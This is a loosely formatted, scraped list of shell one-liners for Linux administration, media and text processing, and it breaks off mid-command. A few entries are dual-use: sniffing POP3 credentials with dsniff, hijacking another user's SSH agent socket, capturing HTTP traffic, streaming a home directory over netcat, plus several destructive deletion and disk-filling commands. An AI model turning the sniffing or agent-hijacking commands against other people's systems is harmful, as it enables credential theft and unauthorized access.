# Top ten (or whatever) memory utilizing processes (with children aggregate) - Can be done without the multi-dimensional array ps axo rss,comm,pid | awk '{ proc_list[$2] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc],proc); }}' | sort -n | tail -n 10 # Download last file from index of NAME=`wget --quiet URL -O - | grep util-vserver | tail -n 1 | sed 's|.*||;s/.*>//'`; wget URL$UTILVSERVER; # Delete newline tr -d "\n" < file1 > file2 # which procs have $PATH_REGEX open? find /proc -regex '/proc/[0-9]+/smaps' -exec grep -l "$PATH_REGEX" {} \; | cut -d'/' -f2 # Adding formatting to an xml document for easier reading xmllint --format > # Picture Renamer exiv2 rename *.jpg # Build an exhaustive list of maildir folders for mutt find ~/Maildir/ -mindepth 1 -type d | egrep -v '/cur$|/tmp$|/new$' | xargs # Tells you where a command is in your $PATH, but also wether it's a link and to what.ls -l `which foo` # Bash: escape '-' character in filename mv ./-filename filename # Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivit yping -q -c 1 www.google.com|tail -1|cut -d/ -f5 # Calculate sum of N numbers (Thanks to flatcap) seq 100000 | paste -sd+ | bc # GRUB2: Set Imperial Death March as startup tune echo "GRUB_INIT_TUNE=\"480 440 4 440 4 440 4 349 3 523 1 440 4 349 3 523 1 440 8 659 4 659 4 659 4 698 3 523 1 415 4 349 3 523 1 440 8"\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub # Find the package a command belongs to on debian-based distros whichpkg () { dpkg -S $1 | egrep -w $(readlink -f "$(which $1)")$; } # Make ls output better visible on dark terminals in bash unalias ls # list all crontabs for users cut -d: -f1 /etc/passwd | grep -vE "#" | xargs -i{} crontab -u {} -l # Override and update your locally modified files through cvs.. cvs update -C # Check variable has been set [ -z "$VAR" ] && echo "VAR has not been set" && exit 1 # ptree equivalent in HP-UX UNIX95=1 ps -eHf # Sort a character string echo sortmeplease | perl -pe 'chomp; $_ = join "", sort split //' # Short one line while loop that outputs parameterized content from one file to anotherwhile read l; do echo ${l%% *}; done < three-column-list.txt > only-first-column.txt # Check a server is up. If it isn't mail me. nc -zw2 www.example.com 80 || echo http service is down | mail -s 'http is down' admin@example.com # Calculate N! seq 10 | paste -sd* | bc # Generate a quick, lengthy password head /dev/urandom | md5sum | base64 # Create a random password encrypted with md5 with custom lenght echo -n $mypass | md5sum | awk {'print $1'} # Validating a file with checksum echo 'c84fa6b830e38ee8a551df61172d53d7 myfile' | md5sum -c # Delete leading whitespace from the start of each line sed 's/^\s*//' input.txt # copy root to new device mount /dev/root /mnt/root; rsync -avHX /mnt/root/ /mnt/target/ # Search for in which package the specified file is included. /bin/rpm -qf /etc/passwd /etc/issue /etc/httpd/conf/httpd.conf # Checks the syntax of all PHP files in and below the current working directory find . -name "*.php" -exec php -l {} \; | sed -e "/^No syntax/d" # Copy a file and force owner/group/mode install -o user -g group -m 755 /path/to/file /path/to/dir/ # find large files find . -type f -size +1100000k |xargs -I% du -sh % # simple echo of IPv4 IP addresses assigned to a machine ip addr | awk '/inet / {sub(/\/.*/, "", $2); print $2}' # Move mp3 files to another path with existing subtree structure find . -iname "*.mp3" -type f -print0 | xargs -0 -I '{}' mv {} /new/path/to/mp3/{} # Simple list of apache2 virtualhosts /usr/sbin/apache2ctl -S # Show local/public IP adresses with or without interface argument using a shell function for Linux and MacOsXMyIps(){ echo -e "local:\n$(ifconfig $1 | grep -oP 'inet (add?r:)?\K(\d{1,3}\.){3}\d{1,3}')\n\npublic:\n$(curl -s sputnick-area.net/ip)"; } # Show git branches by date - useful for showing active branches for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" "$k"`\\t"$k";done|sort # Command template, executing a command over multiple files, outputing progress and fails onlyfind -name "" | while read file; do echo -n .; output=$() || (echo ; echo $file:; echo "$output"; ); done # Use Dell Service Tag $1 to Find Machine Model [Model Name and Model Number] curl -s $dellurl$1 | tr "\"" "\n" | grep "//g' | sed 's/<\/td<\/tr;' # Force the script to be started as root if [ $EUID -ne 0 ];then if [ -t $DISPLAY ]; then sudo $0 "$*"; exit; else xdg-su -c "$0 $*"; exit;fi;fi # Watch movies in your terminal mplayer -vo caca MovieName.avi # Fill up disk space (for testing) tail $0 >> $0 # Print a row of 50 hyphens ruby -e 'puts "-" * 50' # Geolocate a given IP address geoiplookup # memory usage ps -e -orss=,args= | sort -b -k1,1n | pr -TW$COLUMNS # simple port check command parallel 'nc -z -v {1} {2}' ::: 192.168.1.10 192.168.1.11 ::: 80 25 110 # Fix borked character coding in a tty. LC_ALL=C man -c man # Pretty Print a simple csv in the command line python -c 'import sys,csv; c = csv.reader(sys.stdin); [sys.stdout.write("^M".join(map(repr,r))+"\n") for r in c];' > ~/script.sh # Name a backup/archive file based on current date and time archivefile=filename-$(date +%Y%m%d-%H%M).tar.gz # Testing php configuration php -r "phpinfo\(\);" # Pretty man pages under X vman(){ T=/tmp/$$.pdf;man -t $1 |ps2pdf - >$T; xpdf $T; rm -f $T; } # diff 2 remote files diff <(ssh user@host1 cat /path/to/file) <(ssh user@host2 cat /path/to/file2) # Clear current session history (bash) history -c # Watch the disk fill up with change highlighting watch -d -n 5 df # SVN Clean svn status | grep ^? | awk '{print $2}' | xargs rm -rf # Backup with SSH in a archive ssh -i $PRIVATEKEY $HOST -C 'cd $SOURCE; tar -cz --numeric-owner .' | tee $DESTINATION/backup.tgz | tar -tz # Easily decode unix-time (funtion) utime(){ perl -e "print localtime($1).\"\n\"";} # Ruby - nslookup against a list of IP`s or FQDN`s while read n; do host $n; done < list # How to speedup the Ethernet device sudo ethtool -s eth0 speed 100 duplex full # Signals list by NUMBER and NAME i=0;for s in `fuser -l`;do echo $((i++)) $s;done # Retrieve the size of a file on a server curl -s "$URL" |wc -c # Get line count for any file ending with extension recursively rooted at the cu rrent directory.find . -name "*.py" | xargs wc -l # Sum columns from CSV column $COL perl -F',' -ane '$a += $F[3]; END { print $a }' test.csv # Recursively replace a string in files with lines matching string find . -type f |xargs -I% sed -i '/group name/s/>/ deleteMissing="true">/' % # convert flac to mp3 flac -cd input.flac |lame -h - output.mp3 # backup system over ssh, exlucde common dirs ssh root@192.168.0.1 "cd /;nice -n 10 tar cvpP ?exclude={"/proc/*","/sys*","/tmp/*","/home/user/*"} /">backup.tar.gz # Extract all 404 errors from your apache accesslog (prefix lines by occurrences number)grep "HTTP/1.1\" 404" access_log | awk '{print $7 } ' | sort | uniq -c | sort -n # Recursive Ownership Change chown -cR --from=olduser:oldgroup newuser:newgroup * # For Gentoo users : helping with USE / emerge emerge -epv world | grep USE | cut -d '"' -f 2 | sed 's/ /\n/g' | sed '/[(,)]/d' | sed s/'*'//g | sort | uniq > use && grep ^- use | sed s/^-// | sed ':a;N;$!ba;s/\n/ /g' > notuse && sed -i /^-/d use && sed -i ':a;N;$!ba;s/\n/ /g' use # search string in _all_ revisions for i in `git log --all --oneline --format=%h`; do git grep SOME_STRING $i; done # Incase you miss the famous 'C:\>' prompt export PS1='C:${PWD//\//\\\}>' # Terminal - Show directories in the PATH, one per line with sed and bash3.X `he re string'sed 's/:/\n/g' <<<$PATH # Search trought pidgin's conversation logs for "searchterm", and output the res ult.grep -Ri searchterm ~/.purple/logs/* | sed -e 's/<.*?>//g' # move contents of the current directory to the parent directory, then remove cu rrent directory.find . ! -name "." -print0 | xargs -0 -I '{}' mv -n '{}' ..; rmdir "$PWD" # Check the reserved block percentage of an Ext2/3 filesystem dumpe2fs -h /dev/sda1 2> /dev/null | awk -F ':' '{ if($1 == "Reserved block count") { rescnt=$2 } } { if($1 == "Block count") { blkcnt=$2 } } END { print "Reserved blocks: "(rescnt/blkcnt)*100"%" }' # How to estimate the storage size of all files not named *.[extension] on the c urrent directoryfind . -maxdepth 1 -type f -not -iname '*.jpg' -ls |awk '{TOTAL+=$7} END {print int(TOTAL/(1024^2))"MB"}' # Validate openssh key & print checksum ssh-keygen -l -f [pubkey] | awk '{print $2}' | tr -ds ':' '' | egrep -ie "[a-f0-9]{32}" # Rsync between two servers rsync -zav --progress original_files_directory/ root@host(IP):/path/to/destination/ # convert a pdf to jpeg sips -s format jpeg Bild.pdf --out Bild.jpg # Salvage a borked terminal echo # Keep a close eye on a backgrounded job lsof -p$! # Remove all .svn folders find . -name .svn -type d |xargs rm -rf # Check if a package is installed. If it is, the version number will be shown. dpkg -l python # Cropping a video file in ffmpeg ffmpeg -i inputfile.avi -croptop 88 -cropbottom 88 -cropleft 360 -cropright 360 outputfile.avi # Show UDID of iPhone lsusb -s :`lsusb | grep iPhone | cut -d ' ' -f 4 | sed 's/://'` -v | grep iSerial | awk '{print $3}' # Record camera's output to a avi file mencoder -tv device=/dev/video1 tv:// -ovc copy -o video.avi # Get current Xorg resolution via xrandr xrandr -q|sed -n 's/.*current[ ]\([0-9]*\) x \([0-9]*\),.*/\1x\2/p' # Fetch the Gateway Ip Address netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}' # How to get an absolute value abs_value=-1234; echo ${abs_value#-} # Get IP from host getent hosts positon.org | cut -d' ' -f1 # search for text in files. recursive. find /name/of/dir/ -name '*.txt' | xargs grep 'text I am searching for' # Remove apps with style: nuke it from orbit function nuke() { if [ $(whoami) != "root" ] ; then for x in $@; do sudo apt-get autoremove --purge $x; done; else for x in $@; do apt-get autoremove --purge $x; done; fi } # Encode a file to MPEG4 format mencoder video.avi lavc -lavcopts vcodec=mpeg4:vbitrate=800 newvideo.avi # Remove sound from video file using mencoder mencoder -ovc copy -nosound input.avi -o output.avi # Create a tar file with the current date in the name. tar cfz backup-`date +%F`.tgz somedirs # RTFM function rtfm() { help $@ || $@ -h || $@ --help || man $@ || $BROWSER "http://www.google.com/search?q=$@"; } # svn diff colorized svn diff --diff-cmd="colordiff" # Stream YouTube URL directly to mplayer. mplayer -fs -cookies -cookies-file /tmp/cookie.txt $(youtube-dl -g --cookies /tmp/cookie.txt "http://www.youtube.com/watch?v=PTOSvEX-YeY") # Easily run a program in the background without losing output function fork () { tf=$(tempfile -d /tmp -p $1.);echo -n "$tf "; $@ &>$tf& } # Substitute audio track of video file using mencoder mencoder -ovc copy -audiofile input.mp3 -oac copy input.avi -o output.avi # Check if variable is a number if [ "$testnum" -eq "$testnum" 2>/dev/null ]; then echo It is numeric; fi # Prints line numbers grep -n "^" # Get all shellcode on binary file from objdump objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' # Get movie length mplayer -vo null -ao null -frames 0 -identify movie.avi | awk '{FS="="}; /ID_LENGTH/{ H=int($2/3600); M=int(($2-H*3600)/60); S=int($2%60); print H":"M":"S}' # Probably, most frequent use of diff diff -Naur --strip-trailing-cr # list all file extensions in a directory find /path/to/dir -type f | grep -o '\.[^./]*$' | sort | uniq # Export a subset of a database mysqldump --where="true LIMIT X" databasename > output.sql # set prompt and terminal title to display hostname, user ID and pwd export PS1='\[\e]0;\h \u \w\a\]\n\[\e[0;34m\]\u@\h \[\e[33m\]\w\[\e[0;32m\]\n\$ ' # Set Time Zone in Ubuntu sudo dpkg-reconfigure tzdata # Delete Empty Directories find . -type d -exec rmdir {} \; # Remove all files but one starting with a letter(s) rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]* # Download streaming video in mms mimms mms://Your_url.wmv # Run a command, redirecting output to a file, then edit the file with vim. vimcmd() { $1 > $2 && vim $2; } # Monitor connection statistics with netstat and watch watch -n 1 "netstat -ntu | sed '1,2d' | awk '{ print \$6 }' | sort | uniq -c | sort -k 2" # Unrar multiple directories into current working directory for x in */*.rar; do unrar x $x; done # Resize all JPEGs in a directory mogrify -resize 1024 *.jpg # Mortality Countdown while [ 0 ]; do expr 2365200000 \- `date +%s` \- `date --date "YYYY-mm-dd HH:MM:ss" +%s`; sleep 1; clear; done # convert a,b,c to ('a','b','c') for use in SQL in-clauses echo a,b,c | sed -e s/,/\',\'/g -e s/^/\(\'/ -e s/$/\'\)/ # Monitoring sessions that arrive at your server watch -n 1 -d "finger" # list all file extensions in a directory find /path/to/dir -type f -name '*.*' | sed 's@.*/.*\.@.@' | sort | uniq # Type strait into a file from the terminal. cat /dev/tty > FILE # most used unix commands cut -d\ -f 1 ~/.bash_history | sort | uniq -c | sort -rn | head -n 10 | sed 's/.*/ &/g' # Happy New Year! perl -e 'print for(map{chr(hex)}("4861707079204E6577205965617221"=~/(.{2})/g)),"\n";' # Remove executable bit from all files in the current directory recursively, exc luding other directoriesfind . ! -type d -exec chmod -x {}\; # Every Nth line position # (SED) sed -n '1,${p;n;n;}' foo > foo_every3_position1; sed -n '2,${p;n;n;}' foo > foo_every3_position2; sed -n '3,${p;n;n;}' foo > foo_every3_position3 # make, or run a script, everytime a file in a directory is modified while inotifywait -r -e MODIFY dir/; do make; done; # Squish repeated delimiters into one echo "hello::::there" | tr -s ':' # Fix the vi zsh bindings on ubuntu sudo sed -iorig '/\(up\|down\)/s/^/#/' /etc/zsh/zshrc # phpdoc shortcut gophpdoc() { if [ $# -lt 2 ]; then echo $0 '< file > < title > [ pdf ]'; return; fi; if [ "$3" == 'pdf' ]; then ot=PDF:default:default; else ot=HTML:frames:earthli; fi; phpdoc -o $ot -f "$1" -t docs -ti "$2" } # Prevent an IPv6 address on an interface from being used as source address of p ackets.ip addr change 2001:db8:1:2::ab dev eth0 preferred_lft 0 # sync two folders except hidden files rsync -vau --exclude='.*' SOURCE-PATH/myfold TARGET-PATH # Generate random IP addresses nmap -n -iR 0 -sL | cut -d" " -f 2 # One liner to kill a process when knowing only the port where the process is ru nningkill -9 `lsof -t -i :port_number` # Calculate N! echo $(($(seq -s* 10))) # VIM: when Ctrl-D and Ctrl-U only scroll one line, reset to default :set scroll=0 # check the status of 'dd' in progress while killall -USR1 dd; do sleep 5; done # count of files from each subfolder for i in `find /home/ -maxdepth 1 -type d`; do echo -n $i " ";find $i|wc -l; done # Convert ascii string to hex echo -n 'text' | xxd -ps | sed -e ':a' -e 's/\([0-9]\{2\}\|^\)\([0-9]\{2\}\)/\1\\x\2/;ta' # clear all non-ascii chars of file.txt iconv -c -f utf-8 -t ascii file.txt # Hiding and Show files on Mac OS X setfile -a V foo.bar; setfile -a v foo.bar; # Directory Tree find . -type d -print | sed -e 's;[^/]*/;..........;g'|awk '{print $0"-("NR-1")"}' # Sort movies by length, longest first for i in *.avi; do echo -n "$i:";totem-gstreamer-video-indexer $i | grep DURATION | cut -d "=" -f 2 ; done | sort -t: -k2 -r # Find all files <10MB and sum up their size i=0; for f in $(find ./ -size -10M -exec stat -c %s {} \; ); do i=$(($i + $f)); done; echo $i # copy partition table from /dev/sda to /dev/sdb sfdisk -d /dev/sda | sfdisk /dev/sdb # Email an svn dump (svnadmin dump /path/to/repo | gzip --best > /tmp/svn-backup.gz) 2>&1 | mutt -s "SVN backup `date +\%m/\%d/\%Y`" -a /tmp/svn-backup.gz emailaddress # Display laptop battery information acpi -V # relabel current konsole tab alias rk='d=$(dcop|grep $PPID) && s=$(dcop $d konsole currentSession) && dcop $d $s renameSession' # Use find to get around Argument list too long problem find . -name 'junkfiles-*' -print0 | xargs -0 rm # command line fu roulette wget -qO - www.commandlinefu.com/commands/random | grep "
" | sed 's/<[^>]*>//g; s/^[ \t]*//; s/"/"/g; s/<//g; s/&/\&/g' # Replicate a directory structure dropping the files find . -type d -print0 | (cd $DESTDIR; xargs -0 mkdir) # Find files in multiple TAR files find . -type f -name "*.tar" -printf [%f]\\n -exec tar -tf {} \; | grep -iE "[\[]|" # In-Place search/replace with datestamped backup sed -i.`date +%Y%m%d` -e 's/pattern/replace' [filename] # Another way to see the network interfaces ip addr show # Directory Tree tree -d # Convert GoogleCL gmail contacts to cone adress book google contacts list name,name,email|perl -pne 's%^((?!N\/A)(.+?)),((?!N\/A)(.+?)),([a-z0-9\._-]+\@([a-z0-9][a-z0-9-]*[a-z0-9]\.)+([a-z]+\.)?([a-z]+))%${1}:${3} <${5}>%imx' #see below for full command # Summarize size of all files of given type in all subdirectories (in bytes) find . -iname '*.jpg' -type f -print0 |perl -0 -ne '$a+=-s $_;END{print "$a\n"}' # Pascal's triangle l=10;for((i=0;i<$l;i++));do eval "a$i=($(pv=1;v=1;for((j=0;j<$l;j++));do [ $i -eq 0 -o $j -eq 0 ]&&{ v=1 && pv=1; }||v=$((pv+a$((i-1))[$((j))]));echo -n "$v ";pv=$v;done;));";eval "echo \"\${a$i[@]}\"";done | column -t; # Suppress output of loud commands you don't want to hear from function quietly () { $* 2> /dev/null > /dev/null; }; # View a colorful logfile using less < /var/log/syslog ccze -A | less -R # Check whether laptop is running on battery or cable cat /proc/acpi/ac_adapter/ACAD/state # command line Google I'm Feeling Lucky lucky(){ url=$(echo "http://www.google.com/search?hl=en&q=$@&btnI=I%27m+Feeling+Lucky&aq=f&oq=" | sed 's/ /+/g'); lynx $url; }; lucky "Emperor Norton" # Sniff ONLY POP3 authentication by intercepting the USER command dsniff -i any 'tcp port pop3' # check the fucking weather ZIP=48104; curl http://thefuckingweather.com/?zipcode=$ZIP 2>/dev/null|grep -A1 'div class="large"'|tr '\n' ' '|sed 's/^.*"large" >\(..\)/\1/;s/&d.*
/ - /;s/
//;s/<\/div.*$//' # Quickly batch resize images mogrify -geometry 800x600 *.jpg # Get an authorization code from Google curl -s https://www.google.com/accounts/ClientLogin -d Email=$email -d Passwd=$password -d service=lh2 | grep Auth | sed 's/Auth=\(.*\)/\1/' # find co-ordinates of a location findlocation() { place=`echo $* | sed 's/ /%20/g'` ; curl -s "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';} # SVN script for automatically adding and deleting files svn status | grep '^?' | sed -e 's/^? */svn add "/g' -e 's/$/"/g'|sh ; svn status | grep '^!' | sed -e 's/^! */svn delete "/g' -e 's/$/"/g'|sh # Show recent earthquakes in Bay Area lynx --width=200 --dump 'http://quake.usgs.gov/recenteqs/Maps/San_Francisco_eqs.htm'|sed -ne '/MAG.*/,/^References/{;s/\[[0-9][0-9]*\]//;1,/h:m:s/d;/Back to map/,$d;/^$/d;/^[ \t][ \t]*[3-9]\.[0-9][0-9]*[ \t][ \t]*/p; }'|sort -k1nr # Show DeviceMapper names for LVM Volumes (to disambiguate iostat logs, etc) sudo lvdisplay |awk '/LV Name/{blockdev=$3} /Block device/{bdid=$3; sub("[0-9]*:","dm-",bdid); print bdid,blockdev;}' # put current directory in LAN quickly python3 -m http.server # [git] Output remote origin from within a local repository git config --local --get remote.origin.url # Show device drivers and their properties (Windows XP) driverquery /si /fo table # Find and copy scattered mp3 files into one directory find . -name '*.mp3' -type f -exec sh -c 'exec cp -f "$@" /home/user/dir' find-copy {} + # Check your hard drive for bad blocks (destructive) badblocks -c 65536 -o /tmp/badblocks.out -p 2 -s -v -w /dev/hdX > /tmp/badblocks.stdout 2> /tmp/badblocks.stderr # set a reminder for 5 days in the future echo "DISPLAY=$DISPLAY xmessage setup suphp perms htscanner acct#101101 host2.domain.com" | at 23:00 Feb 8 # increase recurively the modification time for a list of files find . -type f | while read line; do NEW_TS=`date -d@$((\`stat -c '%Y' $line\` + )) '+%Y%m%d%H%M.%S'`; touch -t $NEW_TS ${line}; done # Copy structure cd $srcdir && find -type d -exec mkdir -p $dstdir/{} \; # Creating shortened URLs from the command line curl -s http://tinyurl.com/create.php?url=http:/// | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' | uniq # Batch rename extension of all files in a folder, in the example from .txt to . mdrename 's/\.txt$/\.md$/i' * # Uptime in minute bc <<< `uptime | sed -e 's/^.*up //' -e 's/[^0-9:].*//' | sed 's/:/*60+/g'` # print lib path of perl perl -e 'print map { $_ . "\n" } @INC;' # Delete all but the latest 5 files, ignoring directories ls -lt|grep ^-|awk 'NR>5 { print $8 }'|xargs -r rm # Clean your broken terminal reset # Wait the end of prog1 and launch prog2 while pkill -0 prog1; do sleep 10; done; prog2 # It decripts all pgp files in a selection folder and move the output into a fil e.for x in *.pgp do `cat /file_with_the_passphrase.dat|(gpg --batch --no-tty --yes --passphrase-fd=0 --decrypt `basename $x`; ) > 'dump_content.dat'` done; # grep certain file types recursively find . -name "*.[ch]" -exec grep "TODO" {} + # A function to find the newest file in a directory newest () { DIR=${1:-'.'}; CANDIDATE=`find $DIR -type f|head -n1`; while [[ ! -z $CANDIDATE ]]; do BEST=$CANDIDATE; CANDIDATE=`find $DIR -newer "$BEST" -type f|head -n1`; done; echo "$BEST"; } # View advanced Sort options, Quick Reference Help Alias alias sorth='sort --help|sed -n "/^ *-[^-]/s/^ *\(-[^ ]* -[^ ]*\) *\(.*\)/\1:\2/p"|column -ts":"' # change user & preserver environment (.bashrc&co) su - -m -p git # Clone or rescue a block device ddrescue -v /dev/sda /dev/sdb logfile.log # HDD Performance Write Test dd if=/dev/zero of=10gb bs=1M count=10240 # Install the Debian-packaged version of a Perl module function dpan () { PKG=`perl -e '$_=lc($ARGV[0]); s/::/-/g; print "lib$_-perl\n"' $1`; apt-get install $PKG; } # convert a .wmv to a .avi mencoder "/path/to/file.wmv" -ofps 23.976 -ovc lavc -oac copy -o "/path/to/file.avi" # find your release version of your ubuntu / debian distro lsb_release -a # Configuring proxy client on terminal without leaving password on screen or in bash_historyset-proxy () { P=webproxy:1234; DU="fred"; read -p "username[$DU]:" USER; printf "%b"; UN=${USER:-$DU}; read -s -p "password:" PASS; printf "%b" "\n"; export http_proxy="http://${UN}:${PASS}@$P/"; export ftp_proxy="http://${UN}:${PASS}@$P/"; } # view http traffic tcpdump -i eth0 port 80 -w - # Add all files svn add `svn status | grep ? | cut -c9-80` # convert mp3 into mb4 (audiobook format) mpg123 -s input.mp3 | faac -b 80 -P -X -w -o output.m4b - # Router discovery traceroute 2>/dev/null -n google.com | awk '/^ *1/{print $2;exit}' # A command to post a message and an auto-shortened link to Twitter. The link sh ortening service is provide by TinyURL.curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s http://tinyurl.com/api-create.php?url=URL_GOES_HERE)" -d source="cURL" http://twitter.com/statuses/update.json -o /dev/null # Remove all unused kernels with apt-get perl -e 'chomp($k=`uname -r`); for () {s/^.*vmlinuz-($k)?//; $l.="linux-image-$_ ";} system "aptitude remove $l";' # Convert a string to "Title Case" echo 'This is a TEST' | sed 's/[^ ]\+/\L\u&/g' # Periodic Log Deletion find /path/to/dir -type f -mtime +[#] -exec rm -f {} \; # exim statistics about mails from queue exim -bp | exiqsumm -c # Search gpg keys from commandline gpg --search-keys # Makefile argument passing make [target] VAR=foobar # Realy remove file from your drive function rrm(){ for i in $*; do; if [ -f $i ]; then; echo "rrm - Processing $i"; shred --force --remove --zero --verbose $i; else; echo "Can't process $i"; type=$(stat "$1" -c %F); echo "File $i is $type"; fi; done;} # Convert ascii string to hex echo -n 'text' | perl -pe 's/(.)/sprintf("\\x%x", ord($1))/eg' # Generate list of words and their frequencies in a text file. tr A-Z a-z | tr -d "[[:punct:]][[:digit:]]" | tr ' /_' '\n' | sort | uniq -c # auto complete arguments ls --[TAB][TAB] # How to trim a video using ffmpeg ffmpeg -i video.avi -vcodec copy -acodec copy -ss 00:00:00 -t 00:00:04 trimmed_video.avi # Webcam view with vlc cvlc v4l2:// & # Find and copy scattered mp3 files into one directory find . -type f -iname '*.mp3' -exec cp {} ~/mp3/ \; # Mirror every lvol in vg00 in hp-ux 11.31 find /dev/vg00 -type b |while read L; do lvextend -m 1 $L /dev/disk/ ; done # Redirect bash built-in output to stdout TIME=$( { time YOUR_COMMAND_HERE; } 2>&1 ) ; echo $TIME # Generate an XKCD #936 style 4 word passphrase (fast) echo $(shuf -n4 /usr/share/dict/words) # Search specified $TEXT1 and Replace that by specified arg ($TEXT2) find "$DIR" -regex "$FILENAME" -type f -print0 | xargs -0 sed -i _`date "+%y%m%d%H%M%S"` -E "s/$TEXT1/$TEXT2/g" # Go to directory or creat it and go to [[ -d dir ]] || mkdir dir ; cd dir # remove the last of all html files in a directory for f in *.html; do sed '$d' -i "$f"; done # Quickly build ulimit command from current values echo "ulimit `ulimit -a|sed -e 's/^.*\([a-z]\))\(.*\)$/-\1\2/'|tr "\n" ' '`" # Check whether laptop is running on battery or cable acpi -b | sed 's/,//g' | awk '{print $3}' # Numeric zero padding file rename ls *.jpg | awk -F'.' '{ printf "%s %04d.%s\n", $0, $1, $2; }' | xargs -n2 mv # Record active input of soundcard to file.wav rec -c 2 -r 44100 -s -t wav file.wav # Shows the torrent file name along with the trackers url grep -ao -HP "http://[^/]*/" * # Check whether laptop is running on battery or cable while true;do clear;echo -n Current\ `grep voltage /proc/acpi/battery/BAT0/state | awk '{print $2" "$3" "$4}'`;for i in `seq 1 5`;do sleep 1;echo -n .;done;done # Generate a (compressed) pdf from images convert -compress jpeg *.jpg mydoc.pdf # Efficient count files in directory (no recursion) perl -e 'if(opendir D,"."){@a=readdir D;print $#a-1,"\n"}' # Readd all files is missing from svn repo svn status | grep "^\?" | awk '{print $2}' | xargs svn add # check spell in c source code grep -o -h -rE '".*"' * | ispell -l -p ~/mydict | sort -u # Sum file sizes expr `find . -type f -printf "%s + "0` # Normalize volume output in MPlayer mplayer -af volnorm=2:0.75 dvd:// # Execute a command on multiple hosts in parallel for host in host1 host2 host3; do ssh -n user@$host > $host.log & done; wait # Gets the X11 Screen resolution RES=`xrandr | grep '*' | sed 's/\s*\([0-9x]*\).*/\1/'`; echo $RES # Big (four-byte) $RANDOM printf %d 0x`dd if=/dev/urandom bs=1 count=4 2>/dev/null | od -x | awk 'NR==1 {print $2$3}'` # Disable graphical login on Solaris /usr/dt/bin/dtconfig -d # Get full URL via http://untr.im/api/ajax/api URL=[target.URL]; curl -q -d "url=$URL" http://untr.im/api/ajax/api | awk -F 'href="' '{print $3}' | awk -F '" rel="' '{print $1}' # Get your public ip using dyndns curl -s 'http://www.loopware.com/ip.php' # Creat a new user with no shell. Useful to provide other services without givin g shell access.useradd -s /sbin/nologin nicdev # Output a SSL certificate start or end date date --date="$(openssl x509 -in xxxxxx.crt -noout -startdate | cut -d= -f 2)" --iso-8601 # Instant mirror from your laptop + webcam (fullscreen+grab) mplayer -fs -vf screenshot,mirror tv:// # Provide information on IPC (Inter-process communication) facilities ipcs # Change pidgin status dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusActivate int32: # Recursive grep of all c++ source under the current directory find . -name '*.?pp' -exec grep -H "string" {} \; # To find which host made maximum number of specific tcp connections netstat -n | grep '^tcp.*:' | tr " " | awk 'BEGIN{FS="( |:)"}{print $6}' | sort | uniq -c | sort -n -k1 | awk '{if ($1 >= 10){print $2}}' # Check hashes of files installed by Debian packages, reporting only errors. debsums -s # Use -t when using find and cp find . -name "*.pdf" -print0 | xargs -0 cp -t downloads/ # Open a Remote Desktop (RDP) session with a custom resolution. mstsc /w:1500 /h:900 /v:www.example.com # Multiline Search/Replace with Perl perl -i -pe 'BEGIN{undef $/;} s/START.*?STOP/replace_string/smg' file_to_change # translate what is in the clipboard in english and write it to the terminal curl -s "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|en&v=1.0&q=`xsel`" |cut -d \" -f 6 # Copy files based on extension with recursive and keeping directory structure rsync -rv --include '*/' --include '*.jar' --exclude '*' srcDir desDir # Ride another SSH agent export SSH_AUTH_SOCK=`find /tmp/ssh* -type s -user [user] -mtime -1 | head -1` # shorten url using curl, sed and is.gd curl -s -d URL="$1" http://is.gd/create.php | sed '/Your new shortened/!d;s/.*value="\([^"]*\)".*/\1/' # random xkcd comic as xml curl -sL 'dynamic.xkcd.com/comic/random/' | awk -F\" '/^\n\n\n %s\n %s\n %s\n\n\n", $6, $4, $2)}' # Display error pages in report format sudo awk '($9 ~ /404/)' /var/log/httpd/www.domain-access_log | awk '{print $2,$9,$7,$11}' | sort | uniq -c # Get size of terminal alias termsize='echo $COLUMNS x $LINES' # Find out my Linux distribution name and version cat /etc/*-release # Delete All Objects From An S3 Bucket Using S3cmd s3cmd ls s3://bucket.example.com | s3cmd del `awk '{print $4}'` # Link a deep tree of files all into on directory find /deep/tree/ -type f -print0|xargs -0 -n1 -I{} ln -s '{}' . # Step#2 Create a copy of the bootload and partition table! dd if=/dev/sda of=/home/sam/MBR.image bs=512 count=1 # list all file extensions in a directory ls | grep -Eo "\..+" | sort -u # let the cow suggest some commit messages for you curl -s http://whatthecommit.com/index.txt | cowsay # convert ascii string to hex xxd -p <<< # share internet connection with only one network interface ifconfig eth0:1 192.168.0.1/24 # Generic shell function for modifying files in-place inplace() { eval F=\"\$$#\"; "$@" > "$F".new && mv -f "$F".new "$F"; } # Count TCP States From Netstat netstat -an | awk '/tcp/ {print $6}' | sort | uniq -c # apt-get upgrade with bandwidth limit sudo apt-get -o Acquire::http::Dl-Limit=20 -o Acquire::https::Dl-Limit=20 upgrade -y # Convert mkv to SVCD/DivX ffmpeg -i movie.mkv -target vcd movie.avi # tar a directory and send it to netcat tar cfvz - /home/user | netcat -l -p 10000 # retrieve the source address used to contact a given host python -c 'import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("", )); print s.getsockname()[0] ; s.close() ;' 2> /dev/null # add a ip address to a network device ip addr add 192.168.10.1/24 dev eth0 # Convert a string to python -c "print 'this is a test'.title()" # archlinux: check which repository packages have updates available pacman -Qu # Get MX records for a domain host -t mx foo.org # colorize comm output comm file1 file2 | sed -e 's/^[^\t].*/\x1b[33m&\x1b[0m/' -e 